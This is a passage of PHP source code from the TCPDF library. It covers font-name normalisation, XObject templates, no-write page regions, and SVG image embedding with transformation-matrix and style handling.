(($this->CurrentFont['type'] == 'TrueTypeUnicode') OR ($this->CurrentFont['type'] == 'cidfont0')); } /** * Return normalized font name * @param $fontfamily (string) property string containing font family names * @return string normalized font name * @author Nicola Asuni * @public * @since 5.8.004 (2010-08-17) */ public function getFontFamilyName($fontfamily) { // remove spaces and symbols $fontfamily = preg_replace('/[^a-z0-9_\,]/', '', strtolower($fontfamily)); // extract all font names $fontslist = preg_split('/[,]/', $fontfamily); // find first valid font name foreach ($fontslist as $font) { // replace font variations $font = preg_replace('/italic$/', 'I', $font); $font = preg_replace('/oblique$/', 'I', $font); $font = preg_replace('/bold([I]?)$/', 'B\\1', $font); // replace common family names and core fonts $pattern = array(); $replacement = array(); $pattern[] = '/^serif|^cursive|^fantasy|^timesnewroman/'; $replacement[] = 'times'; $pattern[] = '/^sansserif/'; $replacement[] = 'helvetica'; $pattern[] = '/^monospace/'; $replacement[] = 'courier'; $font = preg_replace($pattern, $replacement, $font); if (in_array(strtolower($font), $this->fontlist) OR in_array($font, $this->fontkeys)) { return $font; } } // return current font as default return $this->CurrentFont['fontkey']; } /** * Start a new XObject Template. * An XObject Template is a PDF block that is a self-contained description of any sequence of graphics objects (including path objects, text objects, and sampled images). * An XObject Template may be painted multiple times, either on several pages or at several locations on the same page and produces the same results each time, subject only to the graphics state at the time it is invoked. * Note: X,Y coordinates will be reset to 0,0. * @param $w (int) Template width in user units (empty string or zero = page width less margins). * @param $h (int) Template height in user units (empty string or zero = page height less margins). * @param $group (mixed) Set transparency group. Can be a boolean value or an array specifying optional parameters: 'CS' (solour space name), 'I' (boolean flag to indicate isolated group) and 'K' (boolean flag to indicate knockout group). * @return int the XObject Template ID in case of success or false in case of error. * @author Nicola Asuni * @public * @since 5.8.017 (2010-08-24) * @see endTemplate(), printTemplate() */ public function startTemplate($w=0, $h=0, $group=false) { if ($this->inxobj) { // we are already inside an XObject template return false; } $this->inxobj = true; ++$this->n; // XObject ID $this->xobjid = 'XT'.$this->n; // object ID $this->xobjects[$this->xobjid] = array('n' => $this->n); // store current graphic state $this->xobjects[$this->xobjid]['gvars'] = $this->getGraphicVars(); // initialize data $this->xobjects[$this->xobjid]['intmrk'] = 0; $this->xobjects[$this->xobjid]['transfmrk'] = array(); $this->xobjects[$this->xobjid]['outdata'] = ''; $this->xobjects[$this->xobjid]['xobjects'] = array(); $this->xobjects[$this->xobjid]['images'] = array(); $this->xobjects[$this->xobjid]['fonts'] = array(); $this->xobjects[$this->xobjid]['annotations'] = array(); $this->xobjects[$this->xobjid]['extgstates'] = array(); $this->xobjects[$this->xobjid]['gradients'] = array(); $this->xobjects[$this->xobjid]['spot_colors'] = array(); // set new environment $this->num_columns = 1; $this->current_column = 0; $this->SetAutoPageBreak(false); if (($w === '') OR ($w <= 0)) { $w = $this->w - $this->lMargin - $this->rMargin; } if (($h === '') OR ($h <= 0)) { $h = $this->h - $this->tMargin - $this->bMargin; } $this->xobjects[$this->xobjid]['x'] = 0; $this->xobjects[$this->xobjid]['y'] = 0; $this->xobjects[$this->xobjid]['w'] = $w; $this->xobjects[$this->xobjid]['h'] = $h; $this->w = $w; $this->h = $h; $this->wPt = $this->w * $this->k; $this->hPt = $this->h * $this->k; $this->fwPt = $this->wPt; $this->fhPt = $this->hPt; $this->x = 0; $this->y = 0; $this->lMargin = 0; $this->rMargin = 0; $this->tMargin = 0; $this->bMargin = 0; // set group mode $this->xobjects[$this->xobjid]['group'] = $group; return $this->xobjid; } /** * End the current XObject Template started with startTemplate() and restore the previous graphic state. * An XObject Template is a PDF block that is a self-contained description of any sequence of graphics objects (including path objects, text objects, and sampled images). * An XObject Template may be painted multiple times, either on several pages or at several locations on the same page and produces the same results each time, subject only to the graphics state at the time it is invoked. * @return int the XObject Template ID in case of success or false in case of error. * @author Nicola Asuni * @public * @since 5.8.017 (2010-08-24) * @see startTemplate(), printTemplate() */ public function endTemplate() { if (!$this->inxobj) { // we are not inside a template return false; } $this->inxobj = false; // restore previous graphic state $this->setGraphicVars($this->xobjects[$this->xobjid]['gvars'], true); return $this->xobjid; } /** * Print an XObject Template. * You can print an XObject Template inside the currently opened Template. * An XObject Template is a PDF block that is a self-contained description of any sequence of graphics objects (including path objects, text objects, and sampled images). * An XObject Template may be painted multiple times, either on several pages or at several locations on the same page and produces the same results each time, subject only to the graphics state at the time it is invoked. * @param $id (string) The ID of XObject Template to print. * @param $x (int) X position in user units (empty string = current x position) * @param $y (int) Y position in user units (empty string = current y position) * @param $w (int) Width in user units (zero = remaining page width) * @param $h (int) Height in user units (zero = remaining page height) * @param $align (string) Indicates the alignment of the pointer next to template insertion relative to template height. The value can be:<ul><li>T: top-right for LTR or top-left for RTL</li><li>M: middle-right for LTR or middle-left for RTL</li><li>B: bottom-right for LTR or bottom-left for RTL</li><li>N: next line</li></ul> * @param $palign (string) Allows to center or align the template on the current line. Possible values are:<ul><li>L : left align</li><li>C : center</li><li>R : right align</li><li>'' : empty string : left for LTR or right for RTL</li></ul> * @param $fitonpage (boolean) If true the template is resized to not exceed page dimensions. * @author Nicola Asuni * @public * @since 5.8.017 (2010-08-24) * @see startTemplate(), endTemplate() */ public function printTemplate($id, $x='', $y='', $w=0, $h=0, $align='', $palign='', $fitonpage=false) { if ($this->state != 2) { return; } if (!isset($this->xobjects[$id])) { $this->Error('The XObject Template \''.$id.'\' doesn\'t exist!'); } if ($this->inxobj) { if ($id == $this->xobjid) { // close current template $this->endTemplate(); } else { // use the template as resource for the template currently opened $this->xobjects[$this->xobjid]['xobjects'][$id] = $this->xobjects[$id]; } } // set default values if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); $ow = $this->xobjects[$id]['w']; $oh = $this->xobjects[$id]['h']; // calculate template width and height on document if (($w <= 0) AND ($h <= 0)) { $w = $ow; $h = $oh; } elseif ($w <= 0) { $w = $h * $ow / $oh; } elseif ($h <= 0) { $h = $w * $oh / $ow; } // fit the template on available space list($w, $h, $x, $y) = $this->fitBlock($w, $h, $x, $y, $fitonpage); // set page alignment $rb_y = $y + $h; // set alignment if ($this->rtl) { if ($palign == 'L') { $xt = $this->lMargin; } elseif ($palign == 'C') { $xt = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($palign == 'R') { $xt = $this->w - $this->rMargin - $w; } else { $xt = $x - $w; } $rb_x = $xt; } else { if ($palign == 'L') { $xt = $this->lMargin; } elseif ($palign == 'C') { $xt = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($palign == 'R') { $xt = $this->w - $this->rMargin - $w; } else { $xt = $x; } $rb_x = $xt + $w; } // print XObject Template + Transformation matrix $this->StartTransform(); // translate and scale $sx = ($w / $this->xobjects[$id]['w']); $sy = ($h / $this->xobjects[$id]['h']); $tm = array(); $tm[0] = $sx; $tm[1] = 0; $tm[2] = 0; $tm[3] = $sy; $tm[4] = $xt * $this->k; $tm[5] = ($this->h - $h - $y) * $this->k; $this->Transform($tm); // set object $this->_out('/'.$id.' Do'); $this->StopTransform(); // add annotations if (!empty($this->xobjects[$id]['annotations'])) { foreach ($this->xobjects[$id]['annotations'] as $annot) { // transform original coordinates $coordlt = $this->getTransformationMatrixProduct($tm, array(1, 0, 0, 1, ($annot['x'] * $this->k), (-$annot['y'] * $this->k))); $ax = ($coordlt[4] / $this->k); $ay = ($this->h - $h - ($coordlt[5] / $this->k)); $coordrb = $this->getTransformationMatrixProduct($tm, array(1, 0, 0, 1, (($annot['x'] + $annot['w']) * $this->k), ((-$annot['y'] - $annot['h']) * $this->k))); $aw = ($coordrb[4] / $this->k) - $ax; $ah = ($this->h - $h - ($coordrb[5] / $this->k)) - $ay; $this->Annotation($ax, $ay, $aw, $ah, $annot['text'], $annot['opt'], $annot['spaces']); } } // set pointer to align the next text/objects switch($align) { case 'T': { $this->y = $y; $this->x = $rb_x; break; } case 'M': { $this->y = $y + round($h/2); $this->x = $rb_x; break; } case 'B': { $this->y = $rb_y; $this->x = $rb_x; break; } case 'N': { $this->SetY($rb_y); break; } default:{ break; } } } /** * Set the percentage of character stretching. * @param $perc (int) percentage of stretching (100 = no stretching) * @author Nicola Asuni * @public * @since 5.9.000 (2010-09-29) */ public function setFontStretching($perc=100) { $this->font_stretching = $perc; } /** * Get the percentage of character stretching. * @return float stretching value * @author Nicola Asuni * @public * @since 5.9.000 (2010-09-29) */ public function getFontStretching() { return $this->font_stretching; } /** * Set the amount to increase or decrease the space between characters in a text. * @param $spacing (float) amount to increase or decrease the space between characters in a text (0 = default spacing) * @author Nicola Asuni * @public * @since 5.9.000 (2010-09-29) */ public function setFontSpacing($spacing=0) { $this->font_spacing = $spacing; } /** * Get the amount to increase or decrease the space between characters in a text. * @return int font spacing (tracking) value * @author Nicola Asuni * @public * @since 5.9.000 (2010-09-29) */ public function getFontSpacing() { return $this->font_spacing; } /** * Return an array of no-write page regions * @return array of no-write page regions * @author Nicola Asuni * @public * @since 5.9.003 (2010-10-13) * @see setPageRegions(), addPageRegion() */ public function getPageRegions() { return $this->page_regions; } /** * Set no-write regions on page. * A no-write region is a portion of the page with a rectangular or trapezium shape that will not be covered when writing text or html code. * A region is always aligned on the left or right side of the page ad is defined using a vertical segment. * You can set multiple regions for the same page. * @param $regions (array) array of no-write regions. For each region you can define an array as follow: ('page' => page number or empy for current page, 'xt' => X top, 'yt' => Y top, 'xb' => X bottom, 'yb' => Y bottom, 'side' => page side 'L' = left or 'R' = right). Omit this parameter to remove all regions. * @author Nicola Asuni * @public * @since 5.9.003 (2010-10-13) * @see addPageRegion(), getPageRegions() */ public function setPageRegions($regions=array()) { // empty current regions array $this->page_regions = array(); // add regions foreach ($regions as $data) { $this->addPageRegion($data); } } /** * Add a single no-write region on selected page. * A no-write region is a portion of the page with a rectangular or trapezium shape that will not be covered when writing text or html code. * A region is always aligned on the left or right side of the page ad is defined using a vertical segment. * You can set multiple regions for the same page. * @param $region (array) array of a single no-write region array: ('page' => page number or empy for current page, 'xt' => X top, 'yt' => Y top, 'xb' => X bottom, 'yb' => Y bottom, 'side' => page side 'L' = left or 'R' = right). * @author Nicola Asuni * @public * @since 5.9.003 (2010-10-13) * @see setPageRegions(), getPageRegions() */ public function addPageRegion($region) { if (!isset($region['page']) OR empty($region['page'])) { $region['page'] = $this->page; } if (isset($region['xt']) AND isset($region['xb']) AND ($region['xt'] > 0) AND ($region['xb'] > 0) AND isset($region['yt']) AND isset($region['yb']) AND ($region['yt'] >= 0) AND ($region['yt'] < $region['yb']) AND isset($region['side']) AND (($region['side'] == 'L') OR ($region['side'] == 'R'))) { $this->page_regions[] = $region; } } /** * Remove a single no-write region. * @param $key (int) region key * @author Nicola Asuni * @public * @since 5.9.003 (2010-10-13) * @see setPageRegions(), getPageRegions() */ public function removePageRegion($key) { if (isset($this->page_regions[$key])) { unset($this->page_regions[$key]); } } /** * Check page for no-write regions and adapt current coordinates and page margins if necessary. * A no-write region is a portion of the page with a rectangular or trapezium shape that will not be covered when writing text or html code. * A region is always aligned on the left or right side of the page ad is defined using a vertical segment. * @param $h (float) height of the text/image/object to print in user units * @param $x (float) current X coordinate in user units * @param $y (float) current Y coordinate in user units * @return array($x, $y) * @author Nicola Asuni * @protected * @since 5.9.003 (2010-10-13) */ protected function checkPageRegions($h, $x, $y) { // set default values if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } if (!$this->check_page_regions OR empty($this->page_regions)) { // no page regions defined return array($x, $y); } if (empty($h)) { $h = ($this->FontSize * $this->cell_height_ratio) + $this->cell_padding['T'] + $this->cell_padding['B']; } // check for page break if ($this->checkPageBreak($h, $y)) { // the content will be printed on a new page $x = $this->x; $y = $this->y; } if ($this->num_columns > 1) { if ($this->rtl) { $this->lMargin = ($this->columns[$this->current_column]['x'] - $this->columns[$this->current_column]['w']); } else { $this->rMargin = ($this->w - $this->columns[$this->current_column]['x'] - $this->columns[$this->current_column]['w']); } } else { if ($this->rtl) { $this->lMargin = max($this->clMargin, $this->original_lMargin); } else { $this->rMargin = max($this->crMargin, $this->original_rMargin); } } // adjust coordinates and page margins foreach ($this->page_regions as $regid => $regdata) { if ($regdata['page'] == $this->page) { // check region boundaries if (($y > ($regdata['yt'] - $h)) AND ($y <= $regdata['yb'])) { // Y is inside the region $minv = ($regdata['xb'] - $regdata['xt']) / ($regdata['yb'] - $regdata['yt']); // inverse of angular coefficient $yt = max($y, $regdata['yt']); $yb = min(($yt + $h), $regdata['yb']); $xt = (($yt - $regdata['yt']) * $minv) + $regdata['xt']; $xb = (($yb - $regdata['yt']) * $minv) + $regdata['xt']; if ($regdata['side'] == 'L') { // left side $new_margin = max($xt, $xb); if ($this->lMargin < $new_margin) { if ($this->rtl) { // adjust left page margin $this->lMargin = max(0, $new_margin); } if ($x < $new_margin) { // adjust x position $x = $new_margin; if ($new_margin > ($this->w - $this->rMargin)) { // adjust y position $y = $regdata['yb'] - $h; } } } } elseif ($regdata['side'] == 'R') { // right side $new_margin = min($xt, $xb); if (($this->w - $this->rMargin) > $new_margin) { if (!$this->rtl) { // adjust right page margin $this->rMargin = max(0, ($this->w - $new_margin)); } if ($x > $new_margin) { // adjust x position $x = $new_margin; if ($new_margin > $this->lMargin) { // adjust y position $y = $regdata['yb'] - $h; } } } } } } } return array($x, $y); } // --- SVG METHODS --------------------------------------------------------- /** * Embedd a Scalable Vector Graphics (SVG) image. * NOTE: SVG standard is not yet fully implemented, use the setRasterizeVectorImages() method to enable/disable rasterization of vector images using ImageMagick library. * @param $file (string) Name of the SVG file or a '@' character followed by the SVG data string. * @param $x (float) Abscissa of the upper-left corner. * @param $y (float) Ordinate of the upper-left corner. * @param $w (float) Width of the image in the page. If not specified or equal to zero, it is automatically calculated. * @param $h (float) Height of the image in the page. If not specified or equal to zero, it is automatically calculated. * @param $link (mixed) URL or identifier returned by AddLink(). * @param $align (string) Indicates the alignment of the pointer next to image insertion relative to image height. The value can be:<ul><li>T: top-right for LTR or top-left for RTL</li><li>M: middle-right for LTR or middle-left for RTL</li><li>B: bottom-right for LTR or bottom-left for RTL</li><li>N: next line</li></ul> If the alignment is an empty string, then the pointer will be restored on the starting SVG position. * @param $palign (string) Allows to center or align the image on the current line. Possible values are:<ul><li>L : left align</li><li>C : center</li><li>R : right align</li><li>'' : empty string : left for LTR or right for RTL</li></ul> * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @param $fitonpage (boolean) if true the image is resized to not exceed page dimensions. * @author Nicola Asuni * @since 5.0.000 (2010-05-02) * @public */ public function ImageSVG($file, $x='', $y='', $w=0, $h=0, $link='', $align='', $palign='', $border=0, $fitonpage=false) { if ($this->state != 2) { return; } if ($this->rasterize_vector_images AND ($w > 0) AND ($h > 0)) { // convert SVG to raster image using GD or ImageMagick libraries return $this->Image($file, $x, $y, $w, $h, 'SVG', $link, $align, true, 300, $palign, false, false, $border, false, false, false); } if ($file{0} === '@') { // image from string $this->svgdir = ''; $svgdata = substr($file, 1); } else { // SVG file $this->svgdir = dirname($file); $svgdata = file_get_contents($file); } if ($svgdata === false) { $this->Error('SVG file not found: '.$file); } if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); $k = $this->k; $ox = 0; $oy = 0; $ow = $w; $oh = $h; $aspect_ratio_align = 'xMidYMid'; $aspect_ratio_ms = 'meet'; $regs = array(); // get original image width and height preg_match('/<svg([^\>]*)>/si', $svgdata, $regs); if (isset($regs[1]) AND !empty($regs[1])) { $tmp = array(); if (preg_match('/[\s]+x[\s]*=[\s]*"([^"]*)"/si', $regs[1], $tmp)) { $ox = $this->getHTMLUnitToUnits($tmp[1], 0, $this->svgunit, false); } $tmp = array(); if (preg_match('/[\s]+y[\s]*=[\s]*"([^"]*)"/si', $regs[1], $tmp)) { $oy = $this->getHTMLUnitToUnits($tmp[1], 0, $this->svgunit, false); } $tmp = array(); if (preg_match('/[\s]+width[\s]*=[\s]*"([^"]*)"/si', $regs[1], $tmp)) { $ow = $this->getHTMLUnitToUnits($tmp[1], 1, $this->svgunit, false); } $tmp = array(); if (preg_match('/[\s]+height[\s]*=[\s]*"([^"]*)"/si', $regs[1], $tmp)) { $oh = $this->getHTMLUnitToUnits($tmp[1], 1, $this->svgunit, false); } $tmp = array(); $view_box = array(); if (preg_match('/[\s]+viewBox[\s]*=[\s]*"[\s]*([0-9\.\-]+)[\s]+([0-9\.\-]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]*"/si', $regs[1], $tmp)) { if (count($tmp) == 5) { array_shift($tmp); foreach ($tmp as $key => $val) { $view_box[$key] = $this->getHTMLUnitToUnits($val, 0, $this->svgunit, false); } $ox = $view_box[0]; $oy = $view_box[1]; } // get aspect ratio $tmp = array(); if (preg_match('/[\s]+preserveAspectRatio[\s]*=[\s]*"([^"]*)"/si', $regs[1], $tmp)) { $aspect_ratio = preg_split('/[\s]+/si', $tmp[1]); switch (count($aspect_ratio)) { case 3: { $aspect_ratio_align = $aspect_ratio[1]; $aspect_ratio_ms = $aspect_ratio[2]; break; } case 2: { $aspect_ratio_align = $aspect_ratio[0]; $aspect_ratio_ms = $aspect_ratio[1]; break; } case 1: { $aspect_ratio_align = $aspect_ratio[0]; $aspect_ratio_ms = 'meet'; break; } } } } } // calculate image width and height on document if (($w <= 0) AND ($h <= 0)) { // convert image size to document unit $w = $ow; $h = $oh; } elseif ($w <= 0) { $w = $h * $ow / $oh; } elseif ($h <= 0) { $h = $w * $oh / $ow; } // fit the image on available space list($w, $h, $x, $y) = $this->fitBlock($w, $h, $x, $y, $fitonpage); if ($this->rasterize_vector_images) { // convert SVG to raster image using GD or ImageMagick libraries return $this->Image($file, $x, $y, $w, $h, 'SVG', $link, $align, true, 300, $palign, false, false, $border, false, false, false); } // set alignment $this->img_rb_y = $y + $h; // set alignment if ($this->rtl) { if ($palign == 'L') { $ximg = $this->lMargin; } elseif ($palign == 'C') { $ximg = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($palign == 'R') { $ximg = $this->w - $this->rMargin - $w; } else { $ximg = $x - $w; } $this->img_rb_x = $ximg; } else { if ($palign == 'L') { $ximg = $this->lMargin; } elseif ($palign == 'C') { $ximg = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($palign == 'R') { $ximg = $this->w - $this->rMargin - $w; } else { $ximg = $x; } $this->img_rb_x = $ximg + $w; } // store current graphic vars $gvars = $this->getGraphicVars(); // store SVG position and scale factors $svgoffset_x = ($ximg - $ox) * $this->k; $svgoffset_y = -($y - $oy) * $this->k; if (isset($view_box[2]) AND ($view_box[2] > 0) AND ($view_box[3] > 0)) { $ow = $view_box[2]; $oh = $view_box[3]; } else { if ($ow <= 0) { $ow = $w; } if ($oh <= 0) { $oh = $h; } } $svgscale_x = $w / $ow; $svgscale_y = $h / $oh; // scaling and alignment if ($aspect_ratio_align != 'none') { // store current scaling values $svgscale_old_x = $svgscale_x; $svgscale_old_y = $svgscale_y; // force uniform scaling if ($aspect_ratio_ms == 'slice') { // the entire viewport is covered by the viewBox if ($svgscale_x > $svgscale_y) { $svgscale_y = $svgscale_x; } elseif ($svgscale_x < $svgscale_y) { $svgscale_x = $svgscale_y; } } else { // meet // the entire viewBox is visible within the viewport if ($svgscale_x < $svgscale_y) { $svgscale_y = $svgscale_x; } elseif ($svgscale_x > $svgscale_y) { $svgscale_x = $svgscale_y; } } // correct X alignment switch (substr($aspect_ratio_align, 1, 3)) { case 'Min': { // do nothing break; } case 'Max': { $svgoffset_x += (($w * $this->k) - ($ow * $this->k * $svgscale_x)); break; } default: case 'Mid': { $svgoffset_x += ((($w * $this->k) - ($ow * $this->k * $svgscale_x)) / 2); break; } } // correct Y alignment switch (substr($aspect_ratio_align, 5)) { case 'Min': { // do nothing break; } case 'Max': { $svgoffset_y -= (($h * $this->k) - ($oh * $this->k * $svgscale_y)); break; } default: case 'Mid': { $svgoffset_y -= ((($h * $this->k) - ($oh * $this->k * $svgscale_y)) / 2); break; } } } // store current page break mode $page_break_mode = $this->AutoPageBreak; $page_break_margin = $this->getBreakMargin(); $cell_padding = $this->cell_padding; $this->SetCellPadding(0); $this->SetAutoPageBreak(false); // save the current graphic state $this->_out('q'.$this->epsmarker); // set initial clipping mask $this->Rect($x, $y, $w, $h, 'CNZ', array(), array()); // scale and translate $e = $ox * $this->k * (1 - $svgscale_x); $f = ($this->h - $oy) * $this->k * (1 - $svgscale_y); $this->_out(sprintf('%F %F %F %F %F %F cm', $svgscale_x, 0, 0, $svgscale_y, ($e + $svgoffset_x), ($f + $svgoffset_y))); // creates a new XML parser to be used by the other XML functions $this->parser = xml_parser_create('UTF-8'); // the following function allows to use parser inside object xml_set_object($this->parser, $this); // disable case-folding for this XML parser xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); // sets the element handler functions for the XML parser xml_set_element_handler($this->parser, 'startSVGElementHandler', 'endSVGElementHandler'); // sets the character data handler function for the XML parser xml_set_character_data_handler($this->parser, 'segSVGContentHandler'); // start parsing an XML document if (!xml_parse($this->parser, $svgdata)) { $error_message = sprintf('SVG Error: %s at line %d', xml_error_string(xml_get_error_code($this->parser)), xml_get_current_line_number($this->parser)); $this->Error($error_message); } // free this XML parser xml_parser_free($this->parser); // restore previous graphic state $this->_out($this->epsmarker.'Q'); // restore graphic vars $this->setGraphicVars($gvars); $this->lasth = $gvars['lasth']; if (!empty($border)) { $bx = $this->x; $by = $this->y; $this->x = $ximg; if ($this->rtl) { $this->x += $w; } $this->y = $y; $this->Cell($w, $h, '', $border, 0, '', 0, '', 0, true); $this->x = $bx; $this->y = $by; } if ($link) { $this->Link($ximg, $y, $w, $h, $link, 0); } // set pointer to align the next text/objects switch($align) { case 'T':{ $this->y = $y; $this->x = $this->img_rb_x; break; } case 'M':{ $this->y = $y + round($h/2); $this->x = $this->img_rb_x; break; } case 'B':{ $this->y = $this->img_rb_y; $this->x = $this->img_rb_x; break; } case 'N':{ $this->SetY($this->img_rb_y); break; } default:{ // restore pointer to starting position $this->x = $gvars['x']; $this->y = $gvars['y']; $this->page = $gvars['page']; $this->current_column = $gvars['current_column']; $this->tMargin = $gvars['tMargin']; $this->bMargin = $gvars['bMargin']; $this->w = $gvars['w']; $this->h = $gvars['h']; $this->wPt = $gvars['wPt']; $this->hPt = $gvars['hPt']; $this->fwPt = $gvars['fwPt']; $this->fhPt = $gvars['fhPt']; break; } } $this->endlinex = $this->img_rb_x; // restore page break $this->SetAutoPageBreak($page_break_mode, $page_break_margin); $this->cell_padding = $cell_padding; } /** * Get the tranformation matrix from SVG transform attribute * @param $attribute (string) transformation * @return array of transformations * @author Nicola Asuni * @since 5.0.000 (2010-05-02) * @protected */ protected function getSVGTransformMatrix($attribute) { // identity matrix $tm = array(1, 0, 0, 1, 0, 0); $transform = array(); if (preg_match_all('/(matrix|translate|scale|rotate|skewX|skewY)[\s]*\(([^\)]+)\)/si', $attribute, $transform, PREG_SET_ORDER) > 0) { foreach ($transform as $key => $data) { if (!empty($data[2])) { $a = 1; $b = 0; $c = 0; $d = 1; $e = 0; $f = 0; $regs = array(); switch ($data[1]) { case 'matrix': { if (preg_match('/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si', $data[2], $regs)) { $a = $regs[1]; $b = $regs[2]; $c = $regs[3]; $d = $regs[4]; $e = $regs[5]; $f = $regs[6]; } break; } case 'translate': { if (preg_match('/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si', $data[2], $regs)) { $e = $regs[1]; $f = $regs[2]; } elseif (preg_match('/([a-z0-9\-\.]+)/si', $data[2], $regs)) { $e = $regs[1]; } break; } case 'scale': { if (preg_match('/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si', $data[2], $regs)) { $a = $regs[1]; $d = $regs[2]; } elseif (preg_match('/([a-z0-9\-\.]+)/si', $data[2], $regs)) { $a = $regs[1]; $d = $a; } break; } case 'rotate': { if (preg_match('/([0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si', $data[2], $regs)) { $ang = deg2rad($regs[1]); $x = $regs[2]; $y = $regs[3]; $a = cos($ang); $b = sin($ang); $c = -$b; $d = $a; $e = ($x * (1 - $a)) - ($y * $c); $f = ($y * (1 - $d)) - ($x * $b); } elseif (preg_match('/([0-9\-\.]+)/si', $data[2], $regs)) { $ang = deg2rad($regs[1]); $a = cos($ang); $b = sin($ang); $c = -$b; $d = $a; $e = 0; $f = 0; } break; } case 'skewX': { if (preg_match('/([0-9\-\.]+)/si', $data[2], $regs)) { $c = tan(deg2rad($regs[1])); } break; } case 'skewY': { if (preg_match('/([0-9\-\.]+)/si', $data[2], $regs)) { $b = tan(deg2rad($regs[1])); } break; } } $tm = $this->getTransformationMatrixProduct($tm, array($a, $b, $c, $d, $e, $f)); } } } return $tm; } /** * Get the product of two SVG tranformation matrices * @param $ta (array) first SVG tranformation matrix * @param $tb (array) second SVG tranformation matrix * @return transformation array * @author Nicola Asuni * @since 5.0.000 (2010-05-02) * @protected */ protected function getTransformationMatrixProduct($ta, $tb) { $tm = array(); $tm[0] = ($ta[0] * $tb[0]) + ($ta[2] * $tb[1]); $tm[1] = ($ta[1] * $tb[0]) + ($ta[3] * $tb[1]); $tm[2] = ($ta[0] * $tb[2]) + ($ta[2] * $tb[3]); $tm[3] = ($ta[1] * $tb[2]) + ($ta[3] * $tb[3]); $tm[4] = ($ta[0] * $tb[4]) + ($ta[2] * $tb[5]) + $ta[4]; $tm[5] = ($ta[1] * $tb[4]) + ($ta[3] * $tb[5]) + $ta[5]; return $tm; } /** * Convert SVG transformation matrix to PDF. * @param $tm (array) original SVG transformation matrix * @return array transformation matrix * @protected * @since 5.0.000 (2010-05-02) */ protected function convertSVGtMatrix($tm) { $a = $tm[0]; $b = -$tm[1]; $c = -$tm[2]; $d = $tm[3]; $e = $this->getHTMLUnitToUnits($tm[4], 1, $this->svgunit, false) * $this->k; $f = -$this->getHTMLUnitToUnits($tm[5], 1, $this->svgunit, false) * $this->k; $x = 0; $y = $this->h * $this->k; $e = ($x * (1 - $a)) - ($y * $c) + $e; $f = ($y * (1 - $d)) - ($x * $b) + $f; return array($a, $b, $c, $d, $e, $f); } /** * Apply SVG graphic transformation matrix. * @param $tm (array) original SVG transformation matrix * @protected * @since 5.0.000 (2010-05-02) */ protected function SVGTransform($tm) { $this->Transform($this->convertSVGtMatrix($tm)); } /** * Apply the requested SVG styles (*** TO BE COMPLETED ***) * @param $svgstyle (array) array of SVG styles to apply * @param $prevsvgstyle (array) array of previous SVG style * @param $x (int) X origin of the bounding box * @param $y (int) Y origin of the bounding box * @param $w (int) width of the bounding box * @param $h (int) height of the bounding box * @param $clip_function (string) clip function * @param $clip_params (array) array of parameters for clipping function * @return object style * @author Nicola Asuni * @since 5.0.000 (2010-05-02) * @protected */ protected function setSVGStyles($svgstyle, $prevsvgstyle, $x=0, $y=0, $w=1, $h=1, $clip_function='', $clip_params=array()) { if ($this->state != 2) { return; } $objstyle = ''; $minlen = (0.01 / $this->k); // minimum acceptable length (3 point) if (!isset($svgstyle['opacity'])) { return $objstyle; } // clip-path $regs = array(); if (preg_match('/url\([\s]*\#([^\)]*)\)/si', $svgstyle['clip-path'], $regs)) { $clip_path = $this->svgclippaths[$regs[1]]; foreach ($clip_path as $cp) { $this->startSVGElementHandler('clip-path', $cp['name'], $cp['attribs'], $cp['tm']); } } // opacity if ($svgstyle['opacity'] != 1) { $this->setAlpha($svgstyle['opacity'], 'Normal', $svgstyle['opacity'], false); } // color $fill_color = $this->convertHTMLColorToDec($svgstyle['color']); $this->SetFillColorArray($fill_color); // text color $text_color = $this->convertHTMLColorToDec($svgstyle['text-color']); $this->SetTextColorArray($text_color); // clip if (preg_match('/rect\(([a-z0-9\-\.]*)[\s]*([a-z0-9\-\.]*)[\s]*([a-z0-9\-\.]*)[\s]*([a-z0-9\-\.]*)\)/si', $svgstyle['clip'], $regs)) { $top = (isset($regs[1])?$this->getHTMLUnitToUnits($regs[1], 0, $this->svgunit, false):0); $right = (isset($regs[2])?$this->getHTMLUnitToUnits($regs[2], 0, $this->svgunit, false):0); $bottom = (isset($regs[3])?$this->getHTMLUnitToUnits($regs[3], 0, $this->svgunit, false):0); $left = (isset($regs[4])?$this->getHTMLUnitToUnits($regs[4], 0, $this->svgunit, false):0); $cx = $x + $left; $cy = $y + $top; $cw = $w - $left - $right; $ch = $h - $top - $bottom; if ($svgstyle['clip-rule'] == 'evenodd') { $clip_rule = 'CNZ'; } else { $clip_rule = 'CEO'; } $this->Rect($cx, $cy, $cw, $ch, $clip_rule, array(), array()); } // fill $regs = array(); if (preg_match('/url\([\s]*\#([^\)]*)\)/si', $svgstyle['fill'], $regs)) { // gradient $gradient = $this->svggradients[$regs[1]]; if (isset($gradient['xref'])) { // reference to another gradient definition $newgradient = $this->svggradients[$gradient['xref']]; $newgradient['coords'] = $gradient['coords']; $newgradient['mode'] = $gradient['mode']; $newgradient['gradientUnits'] = $gradient['gradientUnits']; if (isset($gradient['gradientTransform'])) { $newgradient['gradientTransform'] = $gradient['gradientTransform']; } 